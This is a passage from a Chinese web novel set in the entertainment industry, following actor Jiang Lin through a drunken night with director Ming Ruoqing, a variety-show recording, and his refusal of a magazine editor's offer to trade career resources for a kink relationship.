二十分钟后,明若卿出现在了卓智明剧组聚餐的餐厅,原本雅致的法式餐厅被弄得一团糟,桌上一片狼藉,倾倒的酒瓶,流了满地的酒水,三三两两的人在二楼唱歌,哼唱着新剧的主题曲。 明若卿从一楼开始找,一一掠过众人的脸,没找到自己想找的人,卓智明已经醉得人事不知,被人抬着离开的,在楼梯撞见,他已经认不出明若卿这个老友了。 勉强有两个清醒的人正在四处找自己的手机和钱包,他忍不住拧眉,以为江林已经走了,心中有种失落又庆幸的感觉。 明若卿为自己冲动而后悔,转身准备离开,突然被人从身后抱住,手臂锁住了他的脖子,他脸色微变,在熟悉的声音响起前,差点一个过肩摔下去。 “明叔?”江林抵住他的耳廓,嗓音含糊地喊着,带着点难以置信,唇就这么轻轻落在他耳廓亲了亲,“你来接我吗?” 明若卿感觉自己的心脏都骤停了一瞬,反应过来,脸色恢复了冷静板正,视线扫过小庄慌乱的眼神。他伸手来扯江林,红着脸道歉:“抱歉啊,明导,我江哥他喝醉了,您别生气” 江林却缠着明若卿的脖子没动,勒得他有些窒息,抬手抓住江林的手,阻止小庄的动作:“没事,我来接他的。” 小庄嘴角蠕动了一瞬,最终还是沉默下来。 江林似乎捕捉到了关键词,唇角滑过大咧咧的笑容,一排洁白的牙晃得人眼花,嘻嘻笑出声:“明叔,你还是舍不得我” 这话在明若卿耳边呢喃的,带着笃定的语气,导致明若卿浑身汗毛都微微一竖,被戳中的心事儿。 “”明若卿没有试图和醉鬼说话。 小庄站在旁边唯唯诺诺,多次想出手搭把手,都被明若卿的眼神盯了回来,只能看着他家江哥,被明若卿半抱着带进了车里,他迅速钻进了副驾驶。 等他转头想要往后瞧的时候,后车的隔板缓缓升起,只剩下明若卿平静的目光,江林正埋在他颈侧,靠在他肩膀上,不知是醒着还是睡着了。 明若卿手轻轻揽在江林腰上,心情颇为浮躁,很久没有这么起伏不定的心情了,明知现在和江林隔开距离才是正确的选择,但就像是飞蛾扑火般,控制不住地想要靠近。 江林抬手拢着他的脸,将他的脸掰过来,在他嘴唇上亲了亲,呼吸带出的酒气和香气,他红唇弯着,语气中带着低低的笑意:“你好像很喜欢我。” 明若卿抓住他的手腕,手劲一点点收紧,从后舌开始泛起苦涩的味道,冷硬的嘴角又被江林软绵绵地吻融化。 “明叔,我也好喜欢你哦,嘿嘿” 他呲着牙傻乐,不了解江林的还以为他这是酒后吐真言呢,但其实只是在敷衍,他天然自成的一种敷衍模式。 江林脸贴在明若卿的,迷迷糊糊不动的,发烫的脸颊挨着他的,最终明若卿抬手抱住他,反复又认真地吻过他的唇角。 小庄发现江林被明若卿带到了一处豪华的别墅,静谧的空中花园,干净清澈的大泳池,他被管家安排在其他房间入住。 江林和明若卿坐着电梯上了四楼。 江林捂住胸口,拧着眉醒来,正靠在沙发上,胃里恶心难受,他起身想要吐垃圾桶里,但实在控制不住,随着一声呕吐的声音,江林衣服和裤子都遭殃了,同时沙发也在劫难逃。 明若卿正在给江林倒水,听见动静快步走出厨房,便见江林身上脏得不行,他红着眼,有些慌乱地看着他,像是不小心弄脏朋友家沙发后,无措的小孩儿。 明若卿没有洁癖,但也从没伺候过人,小时候就算是明若童的饮食起居也是有保姆照顾的。 “对不起”江林忍不住道歉,浑身都散发着不太好闻的气味。 “没关系,起来吧,我们先去清洗一下。”明若卿情绪很稳定,江林站起来又站不稳。 明若卿抱住他,身上的衣物也被江林弄脏了,他只皱了一下眉,很快又松开。 “我把你的沙发弄脏了,明导。”江林语气充满了愧疚。 “嗯,我知道了。” 明若卿把他身上的脏衣服扔进垃圾桶里,用湿纸巾把他的脸和手擦干净,才给他洗澡,一派严肃正经,毫无遐想和欲望般。 倒是江林不太老实,有些动手动脚的,被明若卿拦了几次后,便有些恼羞成怒了,“你来接我,不是想干这个吗?为什么要拒绝我?我不想欠你。” “你不爱我了吗?” 喝醉了的江林显得比平时更加无赖且话多,睁着一双大眼质问他。 明若卿像是哄小孩似的回答:“爱你。” 江林怔怔看了他几眼,也老实了些,不再追问和胡闹,明若卿把他放在柔软的床上,低头亲吻了他的额头,“还想不想吐?” 江林摇了摇头,抓着被子,很乖地看着他,只露出一双圆溜溜的眼睛。 明若卿视线在他脸上流连一瞬,抬手摸了摸他刚刚吹干显得格外柔软的发丝,“晚安。” 他让江林住他的主卧,关上灯,拉上门,自己在书房待了一夜。 黑暗中的江林唇角勾起一点嘲弄的弧度,心中并没有因为明若卿掀起半点波澜,香甜入梦。 不是每个人的爱意他都必须要回应。 /// 一夜宿醉,江林一早醒来,眼皮都睁不开,电话先响了,他用枕头捂住脑袋,不想管,电话就一直在响,第二遍的时候,明若卿推门进入。 他看见逃避电话的江林,看了一眼他手机的备注——经纪人蒋红。 明若卿犹豫了一瞬,还是接起了江林的电话,“喂?我是明若卿。” 蒋红在那头语塞,顿了几秒才开口,“明导啊,江林昨晚在你那?” “嗯。” “好好好,是这样,他今天上午的活动我帮他推了,下午卓导让他去配音,您记得提醒他。” 明若卿回答:“好。” 蒋红的电话挂掉,明若卿放下手机,看着藏在枕头下的人,站在床头,提醒他:“下午去卓导那配音。” 被窝里的人一动不动,没有回应。 明若卿便坐在床沿,伸手去拉他的枕头,江林松开枕头,一股脑扑进男人怀里,紧闭着眼睛,闷声道:“头好痛” 明若卿怔了怔,抬手开始给他揉脑袋,语气淡淡:“你昨天喝太多了,脑袋疼很正常。” “下次不这么喝了。”江林便哑着嗓子道。 “卓导跟我说,你昨天和人打架了?和谁?”明若卿检查了江林的身体,身体上有些手上瘀青,但不像昨晚造成的,应该是拍摄期间受的伤。 江林头枕在他腿上,含含糊糊地说道:“不记得了。” 这一天早上,两人仿佛正常的情侣般,一起吃饭,一起洗漱,一起接吻,然后各自工作,但是晚上江林却没有再回来找他。 /// 橘子台官宣了某大ip推理类综艺的常驻嘉宾换人,还是岌岌无名的小演员。 瞬间,那位小演员江遂的名字又上了热搜。 【虽然江遂见义勇为值得表扬,但他参加《推3》我真的会骂。】 【一人血书求原班人马。】 【还求原班人马呢,制作班底都换人跳槽到了另外的平台。再也不可能齐聚了,不过换新人常驻就离谱了】 【这个江遂什么来头啊,没有任何的作品,热搜没少上啊,营销咖?】 【我们家江遂是爱豆哈,他有舞蹈作品的啦,只是众所周知内娱舞台少,所以他现在转行演戏了,期待作品《依尘传》哦。(欢呼欢呼)】 【一看就是一个没脑子的,真的太恶心了。】 目前网络发达,再也不是资本一手遮天的情况,如果观众不买账,那么你再大资本也没用。 不对,也是有用的,有资本撑腰源源不断地拍戏,也能够赚钱。 “啧,这个综艺我一开始是不同意你参加的,热度太大了,可以先飞行现在直接常驻,哎,刚刚起来的一点好感度又要被骂没了。”蒋红在电话那头唉声叹气。 “是福不是祸,是祸躲不过。红姐对我有点信心,鄙人还是有点综艺感的,只要播出的时候我不掉链子,总会好起来的,倒时候买买营销号,把我宣传成救场”江林正在化妆,这是沉浸式推理综艺,以他的咖位够到这个综艺的确有些不真实,其中的艺人都是一些娱乐圈炙手可热的人物。 今天是第一场录制,非正式录制,录制先导片,里面有一些脑力游戏,加心理的博弈。这次录制不光他一个新人,还有宁星安也来了,只不过他不是常驻。 当初桃子台不让江林来橘子台的节目的,还是因为宁星安才放人,宁星安算是桃子台的艺人。 十二个人进行博弈,其中新人只有三位,其他都是原本这个节目的老人,另外一位新人是钱程浩橘子台的签约艺人。 江林化好妆,穿着复古黄色的马甲,手中拿着一个怀表,像某个留洋回来的小少爷,发丝平整。 他最先到达现场,第二个来的是橘子台的老前辈孙维,顶梁柱之一,在圈内地位极高。 “孙老师,我叫江遂。”江林毕恭毕敬地打招呼,脸上挂着笑容。 孙维笑眯眯看着他,和蔼可亲,“你好你好,我知道你。” “那真的太荣幸了,一直很喜欢您,以后这么多期节目还望着您好好照顾呢。”江林也笑。 “当然,叶主编的朋友就是我的朋友。”孙维喝了一口温水,“叶主编给我发消息,让我好好照顾你。” 孙维倒是没多想,只以为江林和叶成哲也许是好友关系或者沾亲带故,毕竟叶主编从业五年,可从未听说过他和某个男明星或者女明星暧昧不清。 明明是最好捞油水的位置,偏偏‘清正廉洁。’ 江林眉梢缓缓一挑,天然的橄榄枝他当然要稳稳接住,笑了笑:“节目结束,我好好谢谢他老人家为我保驾护航。” 之后陆续不少人来交谈聊天,江林自然被挤出孙维身边,宁星安和他站在一起,两人低声说气话。 “这里面你都认识谁?”宁星安两人站在旁边,旁边就有摄像头对准他们俩,他没有摆出冷漠冰霜的样子。 宁星安的团队早就告诉了他江林背后有人,所以他对江林现在的态度和刚成团相比,有一百八十度的大转变。 “认识你呀,认识你就够了。”江林笑道,配合宁星安炒cp。 宁星安脸色不自然了一瞬,又变成哥们似的仗义:“好,咱们兄弟俩一起得第一!” 观众们最喜欢磕这种欲盖弥彰的兄弟情,你公开麦麸还会有人不买账,这种暗戳戳的,最是磕生磕死。 这场游戏类似于博弈游戏,有拍卖物件,价值有高有低,分为甲乙丙丁四类,其中甲1为价值最高,排在后面的丁类价值低,但有附加效果,也有一定的价值。 拍卖的流程是必须要比前一个出价高,出价低于前一位就没有买卖物品的资格,且金币也拿不回来,会变成前一个人的积分,所以这里面就存在着心理博弈,可能前一位告诉你假的价位,让你损失了钱还不能拿到物品。 最后剩下的钱还能进行最后一轮的拍卖,里面的物件有些是有特殊功能,有些是价值不菲。 而最后结算,是结算各个玩家手中宝物的价值积分。 还有分队,两两为一组,最后队员的联合价值积分最高的,额外获得奖励积分。 是个人战,也是团体战。 江林从头到尾都是保持着合作关系,和宁星安以及另外狄明轩三人合作,江林在狄明轩后面,两人靠得近。 狄明轩想要江林花钱买信息,被江林笑着打哈哈糊弄过去了,两人谈成了其他的合作,一起刷分,后一个拍卖者未成交花的钱,都算前一个拍卖者的积分。 江林两人原本谈好,这一轮,他给狄明轩刷分,然后下一轮,狄明轩给他刷分。这个原本是互利共赢的。 但狄明轩和队友临时变卦,想要坑江林的钱,狄明轩在竞价那一轮弃权,拿了免费的物件,如果江林按照原计划花费20个金币,那么就是血亏的。 等于他花20金币买到了廉价的物件。 在狄明轩唇角泛着笑,以为可以坑一坑江林时,最后中间结算的时候,却发现江林只花了1个金币,根本没上当。 狄明轩的笑容凝固在脸上,知道自己为其他人做了嫁衣。 也是江林运气好,他的队友是孙维。 孙维一直稳坐钓鱼台,最后才和江林队友相认,彼时两人积分都很高,稳拿第一。 江林最后还把自己的金币全部给了宁星安,让他在最后一轮反败为胜,成为第三名。 这一场录下来,消耗了整整一天的时间。 孙维最后结束的时候,脸上的笑容满满地看着江林,朝着竖起大拇指:“今天表现很棒,不必在乎网上那些流言蜚语,你呈现给观众的反转和情绪最重要,以后继续保持,观众会爱上你的。” 江林像是终于松了一口气,感激地看着孙维:“谢谢孙老师,我这些天真的一直很焦虑,根本睡不着。” “没事,等节目播出就好了。”孙维拍了拍他的肩膀,他拍摄综艺这么多年,自然像是老狐狸似的,对于观众喜欢什么,几乎了如指掌,所以他觉得江林这一期表现好,那么观众就不会太讨厌。 真诚、聪明又义气。 真人秀有一种魔力,表现得好能够轻松扭转网友的印象,也会因为一个考虑欠佳的反应被踩入地狱。 宁星安等孙维离开,才凑到江林身边,不得不承认今天如果不是江林,他就会成为其他人的陪衬,“今天谢谢你。” “怎么谢?”江林揉了揉肩膀,顺着他的话问。 宁星安被噎住。 “哦,原来是客套一下啊。”江林‘恍然大悟’地说道。 宁星安咬牙,“那我请你吃饭?” 江林笑了,眼底滑过一丝玩味:“没空,我约人了。” 宁星安:“”江林这是在耍他。 /// 江林约的人正是叶成哲。 蒋红给他发来的手机号,江林直接拨了过去,电话响了三声被接起,叶成哲的声音拿腔拿调的,带着阴柔的感觉:“喂?哪位啊。” “江遂。”江林坐在商务车里,司机和小庄严阵以待,车停在地下车库里没有动:“叶主编今晚有空吗?我请您吃饭。” 叶成哲看了看手机上的时间,已经七点半了,他一小时前就吃完了晚饭,江林这个约饭半点诚意也没有。 “我今天恐怕不行”叶成哲轻哼一声,慢悠悠说道。 “那只能下次录制了。”江林遗憾地说道。 “什么?为什么?”叶成哲拧眉。 “这两周我要去外省出差。”江林对待叶成哲并没有对待明若卿那般有耐心,反而对他表现出足够的不在意。 叶成哲:“” “你现在在哪?” 江林唇角扯起一点笑容:“就在你们公司楼下在地下车库等您呢。” “等着。”叶成哲语气凶狠了一些,说完就挂了电话。 江林等了五分钟,便透过车窗看见了从电梯下来的叶成哲,小庄打开窗户,喊了一声:“叶主编,这边” 叶成哲原本脸色有些冷,但听见小庄喊他的声音,脸上又重新挂上了笑容,打开车门自然地坐上来。 “今天录制顺利吗?”叶成哲系好安全带,看着旁边的江林,语气熟稔地问道。 江林偏头看着他,也是在笑:“叶主编都跟孙维老师打招呼照顾我了,我能不顺利吗?” 叶成哲挑眉,“你都知道了?” “嗯,谢谢叶主编大恩大德,无以为报,只能肉/偿了。”江林靠在椅子上,两个人第一次见面亲嘴的人,道德底线能有多高?说出这种话也半点不突兀。 “正合我意。”叶成哲狐狸眼盯着江林的脸,脸上还带着妆,穿着白色的卫衣:“今晚去我家?” 江林可有可无地点了点头:“行啊。” “但是叶主编,我很贵的。” “王牌综艺常驻还不够?还想要什么?”叶成哲觉得自己的诚意已经给得很足了。 “什么都想要。”江林实话实说。 叶成哲也没拒绝,“那得看你有多大本事,吃得下多少东西。” 江林似笑非笑地看着自带一股风流浪子气质的叶主编,那双会含情会说话的眼睛,扫过他的花衬衫和黑皮衣,只是道:“主编这花衬衣不错。” 叶成哲被他的眼神一瞥,顿时觉得心底有猫抓在挠,脑海里全部都是那个杂志的照片,但又不敢表露出自己的心思,想着要试探一下江林。 他的癖好特殊,虽然在娱乐圈什么牛鬼蛇神都有,他的癖好放在明面上来说也没什么,可是他是橘子台的主编。他的顶头上司是他亲舅,他没敢那么猖狂大肆‘选妃’,同时也觉得娱乐圈那些东西索然无味。 他当然也尝试过,但奈何他的身份摆在那里,谁也不敢真的得罪他。 那些圈外的,又太丑太脏,所以一直都没有找到称心如意的人。 叶成哲也不知道江林会不会让他满意,这个综艺资源只是他的敲门砖。 /// 叶成哲耐心地陪江吃完晚餐,耐心得像个经验丰富的猎手,唇角泛着淡淡的笑容。 两人有过小段的交流,都是关于娱乐圈的一些事情。 “关于网上的流言蜚语不必太在意,但也不能完全不在意,前些日子,沪圈那边急功近利,想要捧xxx买了无数营销号大夸她的演技,结果观众不买账,逆反心理起来了,全部都白搭”叶成哲的敏感度很高,他知道线下网友的心态,经济下行,娱乐圈已经不像从前那般容易捞钱。 很多资本都选择不再往娱乐圈投钱,但娱乐圈头部娱乐公司,一天的流水还是非常可观的。 叶成哲给江林提醒:“比如现在人们的仇富心理是比较严重的,你资源这么好,可千万别为了一点面子,炒什么富二代人设,一个不小心就会激起民愤哦” 江林喝了一口橙汁,煞有其事地点头,颇为认同,“就像我没钱乞讨的时候,也曾想过世界上为什么有这么多不公平,有那么瞬间的仇富。” “很正常,没有的东西总会让人惦记。”叶成哲看过很多立人设作死的艺人。他不希望江林这么蠢,死得太早浪费他这张脸了。 叶成哲调查过江林,知道他的成长环境可以说是地狱,并不是富二代,至于他的资源都是靠什么,他也一清二楚。 江林不是一个干干净净、不染尘埃的小白痴。 “走吧。”江林难得拍完戏,给自己设下了三天的放纵的时间,三天之后又要开始节食。 娱乐圈时不时传出匪夷所思的行为,江林突然都理解了,如果赚不到钱又吃不饱饭,每天饿着,真的蛮崩溃的。 娱乐圈也和很多行业一样,都属于二八定律,所有你能看得见的明星都是其中的二,里面的八只怕数不胜数。 叶成哲给江林买了单,挂着一张风度翩翩的皮,江林带着黑色口罩,那高挺的鼻梁就算戴着口罩都依稀可见其高耸挺拔,双眼更是深邃黑沉,自带气场。 叶成哲给了司机一个地址,是在北奥市的有名的富人小区,一套豪宅上千亿,真正意义上的寸土寸金。 “你们先回去,明早再来接江遂。”叶成哲交代说。 小庄不敢说话,也算是经历过大风大雨了,只对他江哥的指令有反应。 “去吧,有事给你们打电话。”江林打开车门,拿上自己的手机充电器。 小庄和司机这才驱车离开。 叶成哲按了下电梯,站在明亮的地下车库,里面全都是价值不菲、有市无价的豪车,一般的车展都没这么豪气。 “你胆子确实不小,单枪匹马就敢跟着我回来。”叶成哲扭头瞧着他,眼神似乎透出一点危险的意味。 “叶主编不是也单枪匹马和我一起去吃饭?”江林不甘示弱地望着他,眼神没有一丝的慌张,眼底不屑闪过:“而且你能找我什么事儿?” 江林在叶成哲眼中逐渐矛盾起来,他一方面瞧不上娱乐圈这些弯弯绕绕、趋炎附势,但他又随波逐流甚至主动出击,知道什么才是最有利自己的。 他身边的每一个人都是他向上爬的工具。 娱乐圈很多人都有江林这样的野心,但鲜少有他的本事,没有他的资本,没有他的样貌。 那语气多有挑衅和不以为然。 “你和明若卿最近还有联系?”两人走进电梯,叶成哲刷卡,闲聊似的提起他。 江林靠在电梯的扶手上,看着墙壁中倒影着自己带着口罩的脸,有些倨傲和冷然,叶成哲不会喜欢那种附和依从他的人。 他身边这种人太多了。 “前几天刚见过。”江林偏头和他对视上,明显可见叶成哲眉梢轻轻蹙了一下,他便问出声:“这事儿也归叶主编管吗?” “其实明若卿是个不错的选择,这人看重感情,如果全心全意帮你,你也许很快就会一飞冲天了。”叶成哲有些语重心长般,眼神却一直在斜眼打量着江林,想看清楚他眉眼间情绪的变化。 “我真说我喜欢明导了,你又不开心。”江林双眼微微一弯,眼神有些散漫:“所以啊,别试探我了叶主编,我和明导不是一类人。” “那你觉得和我是一类人咯?”叶成哲顿时笑了起来,江林的回答让他很满意。 “也不一定。”江林没有为了拉近距离下结论,“毕竟我并不了解你。” “那今晚好好了解一下。” /// 偌大的房子,分了东面和西面,白天的时候采光极好,能骑着平衡车在这处畅行,只有他一个人住着,灰色调的装修,长长的大理石桌,桌面仿佛水墨画般。 “我一般住在东边,那边有朋友来就会住。”叶成哲介绍道,他站在自己酒架前,一个个格子里都放着名酒,旁边小标签标注着产地、品种以及年份。 “想喝什么?”他似乎想和江林喝杯酒。 江林却拒绝了,摘下口罩扔进垃圾桶里,“我最近戒酒,要保持良好的饮食习惯,保持身材。” 叶成哲倒也不为难,也不生气,“那给你倒一杯白开水?” “谢谢你。”江林打量着整个屋子,他坐在茶几前发现了自己的杂志。 他记得当时蒋红还和他说过一嘴,因为他照片的“不合格”,某桔杂志不准备登他的照片了,但是在后来因为他加入明若卿的剧组带来一波热度后,他又登上了这个杂志。 江林对这个杂志有印象,因为那张房卡,以及那个看着他起反应的不称职摄影师都足够让他记忆深刻。 那本杂志翻开的就是他的照片,江林突然就明白了叶成哲打得什么主意,难怪叶成哲突然主动朝他抛出橄榄枝。 叶成哲站在他身后,贴在他后背,下巴暧昧地搁在他肩膀上,顺着他的视线看着那本杂志,那张照片,他说:“我很喜欢那张照片。” “每天晚上都会看。” 江林抖动了肩膀,拉开两人的距离,坐在沙发上,喝了口温水,又将杯子搁置在玻璃茶几上,坦白地告诉他:“我没有特殊的癖好,我玩不来那些乱七八糟的东西。” 叶成哲收起那本杂志,平整地放在桌上,弯腰抬眼看着他,唇角扯着志在必得又散漫无比的笑容:“我给你想要的一切呢?” “”江林沉默不语,黑眸静静看着他。 “电影?电视剧?综艺?代言?”叶成哲慢慢举例子,“现在看一个艺人是否红,不只看演技,还要看你代言,看你是否上过四大刊” 江林看着放在自己的面前的大饼,意味不明地笑了一声:“我不会。” “我教你。”叶成哲半点不介意,缓缓蹲在江林腿边,脸贴着他的膝盖轻轻的蹭了蹭,双眼有些兴奋的看着江林。 江林躲开了,拧着眉,抬手抓住他的头发,叶成哲脸上笑容有一瞬间变成惊愕,又乖乖地收起反抗的手,扯出笑容:“江遂” “闭嘴。”江林打断他的话。 叶成哲顿时不再说话,一双眼死死盯着自己选择的猎物,江林的五官极为深刻立体,妆造依旧精致,他冷着脸的时候很凶,双眸带着沉沉的压迫感。 “你和别人试过?”江林视线打量着他,像是在评估他的价值。 叶成哲下意思挺了挺胸膛,喉结无措地滚动着,突然便觉得浑身都隐隐发颤起来,他轻声道:“试过,但都不行。” “好脏。”江林故作冷淡的评价。 叶成哲慌乱地澄清,“没有做其他的什么,就是测试了一下” “连嘴都没亲过?”江林又问。 叶成哲诚实道:“没有,这算是奖励。” 江林突然凑近他,叶成哲瞳孔微微放大,此刻的叶主编和那天坐在主桌上挥斥方遒,犹如四方主人家的气势消失不见,现在满心满眼都只剩下讨好江林。 叶成哲缓缓闭上眼睛,等待着江林的亲吻。 但是迟迟没等到。 “你不会以为我要亲你吧。”江林语气有些嘲弄。 叶成哲赫然睁开双眼,江林已经松开手,他直接跪到了地上,像是失去了力气。 江林知道叶成哲不是真的臣服或者喜欢他,他只是将自己代入了角色,等出了这个门,结束了这场游戏,他又是那个高高在上的叶主编。 在叶成哲眼中江林只是陪他玩游戏的工具,不值一提。 “不断尝试,不断试探,不断询问。要让正常人当你的主人,你当狗,也的确挺贱的”江林居高临下看着跪在地上的男人。 他主动抱住江林的腿,脸贴在他膝盖上,丝毫不觉得羞怒,甚至还在说:“对不起,主人,是我错了,我不该找别人,我该乖乖等着你的” 江林从兜里掏出一根烟,咬在嘴里,眼神看着他:“是不是我说什么你都不会拒绝?” “嗯嗯,我都听主人的。”叶成哲非常沉浸地扮演着,相当喜欢江林这个主人呢。 “现在脱光了跪到地下停车场,看见人就汪汪两声。”江林故意这么说着,“你不是喜欢当狗吗?那就当个够。” 叶成哲瞬间表情都僵硬住了,贴着他膝盖的脸抬起,那双眼阴沉下来,看见了江林眼底的嘲弄和戏谑,冷着声道:“你他妈玩我呢?” “你不是想让我玩你吗?”江林才不可能成为他游戏中的一环,他不会进入叶成哲的节奏。 “我喜欢和别人一起玩狗。” 叶成哲闻言瞳孔缩了缩,如果叶成哲真的毫无羞耻心、能够接受多人的话,就不会身边这么多年没有一个人了。 就是过不了心里的坎。 叶成哲深深的看着江林那张桀骜的脸,烟雾缭绕着他的轮廓,显得性感又朦胧,带着深不可测的情绪,他一字一句听着他的话,他两句话激发了他心中鲜少的羞耻心和自尊心,战栗同时觉得恼怒。 不得不说,江林就是天生的主人。 但江林不愿意陪他玩儿。 江林直起身来,帅脸在叶成哲眼前放大,唇角弯着漫不经心的笑:“叶主编做不到,还说自己最听话?” “嗐,我也是开玩笑的叶主编,我也做不到。” 第84章 光下灼灼, 空旷安静的两人静默对视几瞬,叶成哲难看的脸色很快平静下来,他皮笑肉不笑的说道:“即然你不愿意, 那为什么今天要和我回来?” 江林也掐灭了烟,虽然叶成哲站着俯视江林, 江林却半点虚的回看过去:“如果事先知道有这种要求,我就不会来。” “有什么区别,都是玩玩而已。”叶成哲拧着眉, 非常不解地看着他。 “如果你真的觉得一样,为什么不直接公开自己的癖好, 在全网寻找你心仪的主人呢?”江林唇角带着一点意味不明的笑容,直截了当地给他提出更好的‘解决办法’。 叶成哲无语地看着他:“这怎么全网大肆宣传?” “您也知道拿不出手?”江林嘴咄咄逼人,分寸不让。 叶成哲坐在旁边的沙发上,重新变成了那个狡猾又从容的叶主编,他看着旁边的江林,他并没有离开, 说明这场交易还能继续谈。 “攻击别人的兴趣爱好就过分了, 这原本就是你情我愿的事情。”叶成哲姿态变得从容, “交易无法达成,那我给出的‘礼物’是不是也能收回呢?常驻变成飞行?” 江林面色如常并未被吓到, 白皙的手腕上戴着的表几百元一块, 单纯用来看时间的,他身上的代言不多,都是一些内裤、小零食什么的。 “叶主编我觉得我们能谈谈, 您觉得我的商业价值怎么样?”江林问。 有很多人都会盲目地去喷演员片酬高,代言费高,不知道的是这个演员明星带给这个商品的价值有多高, 一定是专业商务团队进行了评估,这个明星能带来比片酬高出几十倍的营收。 否则资本怎么会愿意吃亏。 因为明星的知名度高,他的代言粉丝买单,也会带动该商品的知名度。 明星的商业价值是普通人的上万倍,所以他们的薪资高,被资本青睐。 叶成哲视线认真地在江林身上游过,平心而论,没有半点刻意地贬低:“就目前而言,稍微有格调的商品代言都不会找你,你还没进入资本眼中。” “我让你参加《推3》完全就是在给你抬咖。” 江林点了点头,“我现在的确没有代表作,只靠着一些热搜噱头保持热度,但我参演了明若卿导演的男主,又和卓智明导演合作,这算不算我的一点资本。” “算,但在电视剧未播出前,都具有很大的不可能性,就算能顺利播出,你觉得你会大爆吗?就算是明若卿也不敢拍案说一定能把某人捧火哦。”叶成哲看着这个年轻少年,唇角带着一点轻佻的笑,自信地说道:“他不行,但是我可以。” 叶成哲深谙娱乐圈的营销手段和规则,知道怎么激起民愤也知道怎么能让江林受大众喜欢,他捧红过两个前两年大爆的流量。 “就和章心夜和齐楚弥一样?”江林眼神闪烁着笑意,语气不以为然。 这两人的确是叶成哲一手捧红的,但是奈何不争气,一个现在去踩缝纫机,一个现在销声匿迹被全网封杀。 “那是他们没这么命,承受不了这么大的财。”叶成哲倒也不生气,有些普通人一夜暴富,大多不够聪明的人,都会被这批财富拖累而家破人亡,能利用好这笔钱的人十不足一。 “所以你到底想和我谈什么?” “我想和你合作。”江林即然来了,也不能白来。 “我凭什么和你合作。”叶成哲摊了摊手:“我手下比你有价值的男演员多了去了。” “除非你答应我” “我答应不了,我不喜欢。”江林又一次直接拒绝了他,“橘子台正在筹备S+电视剧《江湖游侠传》也许会缺人?” “缺人,但不缺你。”叶成哲眯眼笑着,脸上毫无攻击性,说话却露着锋芒。 《江湖游侠传》是上面交代下来的任务,也是明后两年的重点项目之一,其中女主真顶流,整个娱乐圈都拎不出一个能和她对打的,而她会参演也是因为上面找她谈话,只有她能再扛起武侠剧的大旗。 在剧情中,这部剧会大爆,里面的各种配角也纷纷升咖。 这个故事中的原主,在娱乐圈沉浮努力了很久,上过很多人的床,他这种长相带劲野性的人,是很多男生女生的菜。 但他的劲儿没使对地方。 原主为了资源向上爬,讨好那些长相油腻的猪头焖子,给他的资源也是仨瓜俩枣,太倒贴的美人,男人只会觉得廉价,不会珍惜。 而且原主的演技也非常感人,被强行塞进好的剧组也改变不了任何,观众被他辣眼睛的演技伤害到不骂他骂谁。 最后甚至连白宝戎和明若卿的边都没碰到,就因为得罪了某个明星后面的资本被整死了。 现在江林已经能清楚地感知到这个世界的主神切片是谁了,脑袋上都带着一股没有办法让人忽略的主角光环,甚至某些气息都非常熟悉。 白宝戎是一个,明若卿是一个,叶成哲也是,系统悄悄告诉他白宝戎的攻略值为百分之三十,明若卿为百分之六十七,叶成哲则是百分之十五。 娱乐圈也是一个阶级分明的圈层。 “叶主编先不要生气。”江林也不愿意把叶成哲得罪死了,这个度需要把握好,“其实您可以看《依尘传》的播出效果再作定夺。” 叶成哲却不买账,“我公司红的艺人很多,没必要用你。” 他是半点机会也不给江林。 “单纯合作没有任何可能了?”江林扬了扬眉,唇角勾着点不在意的笑容。 “等你有资格再来和我谈。”叶成哲找回了他的主场气势,眼神压迫得让人喘不过气来。 他表现得很强势,似乎想借此压迫江林屈服,毕竟他不认为江林是一个不识时务的人。 “好。”江林站起身准备离开,语气散漫:“叶总也可以把我的综艺剪掉,常驻什么的我不在意,违约金对于您来说也不算什么吧。” 江林还真就这么硬气,给司机打了电话。 叶成哲眼睁睁看着江林离开,眉梢微微蹙起,他忍不住想江林真的像他说的那么聪明,怎么看起来像个蠢货呢? 他又不是让他成为下置位的那一方,他想不到任何理由江林会拒绝。 他看着桌上的杂志,上面的女星造型性感,叶成哲把杂志扔进了垃圾桶里,江林还没有资格让他再三低头。 小庄没想到他哥居然这么快就完事了。 /// 江林的综艺从常驻变成了飞行,他也丝毫不在意,能够在这里面露面就很不错了。 《依尘传》定档寒假,双平台播出,橘子台和桃子台同时播出,给足了明若卿面子,而其中身为爱豆出身的江林居然力压各种流量小生成为男主。 只要稍稍《依尘传》的消息传出,江林就会被挂在网上反复鞭尸,被骂得狗血淋头都是轻的。 【我倒是要看看这个江遂是人是鬼。】 【这部剧是屎我也得尝尝咸淡,看看这个江遂何方神圣,他最好演得好。】 【谁还记得上次的蛇塑造型,现在还是我的手机壁纸,男主很帅啊,支持娱乐圈多一些这种神颜!】 【别是个屁都放不出来的花瓶子。】 【纯路人,这个江遂是不是和明导有一腿啊,不然这么好的资源怎么轮到他?】 【富二代?】 江林在这期间并没有转过头去继续求明若卿,而是接了一部都市爱情霸总剧。他还不是男主,只是男配,片酬却很高。 他这部戏是找来的戏中片酬最高的,老板是一个暴发户,要给弟弟抬咖,瞄准了江林形象好,热度也不错。 其他同等样貌热度的人,都不愿意演这种无脑霸总剧,完全就是男主和女主的二人转,江林只是一个默默守护女主的男二,在男女主快要确定感情的时候出现,让男主吃吃醋,成为两人感情升温的催化剂。 历时一个多月,江林顺利杀青,彼时男女主都抱着他的依依不舍。 在这期间,男女主都给他递过房卡。 江林一个也没接。 这种事情在剧组算比较正常的,拍摄过程中精神压力不小,也很容易产生感情,只是这次有些意外,是对男二产生了感情。 没办法江林实在很容易让人喜欢上,原本导演害怕江林抢走了男主的风头,想让他扮丑的,但最后男主拒绝了,只说:“江遂这么好看的脸扮丑可惜了。” 女主对江林的好感则是更加顺理成章,在娱乐圈制片、编剧、导演等等都是男人的情况下,遇见像江林这种礼貌不恶臭,克制又帅气的男生太难得了,她见多了那种不分场合开黄腔造黄谣的中年油腻男。 江林就如同那清泉甘露般清新。 他倒是不着急,能接到戏就什么都不愁,但蒋红比他更着急,每天最少两个电话,给他讨论之后的营销方案和发展路线。 话里话外都是让他服软求求明若卿得了。 江林只当作听不见。 他刚刚挂了蒋红的电话,准备去健身房减脂塑形,电话又响了,江林还以为蒋红不依不饶找骂,但没想到是尤亿。 “亿姐?”江林接起电话。 尤亿声音依旧清脆,“呦,电话接得这么快?最近很闲嘛。” “是啊,这不是等着亿姐给我介绍活儿嘛。”江林笑着道。 尤亿的语气轻了些,“你现在是不是在海市?” “没,但不远,一小时能到。”江林说。 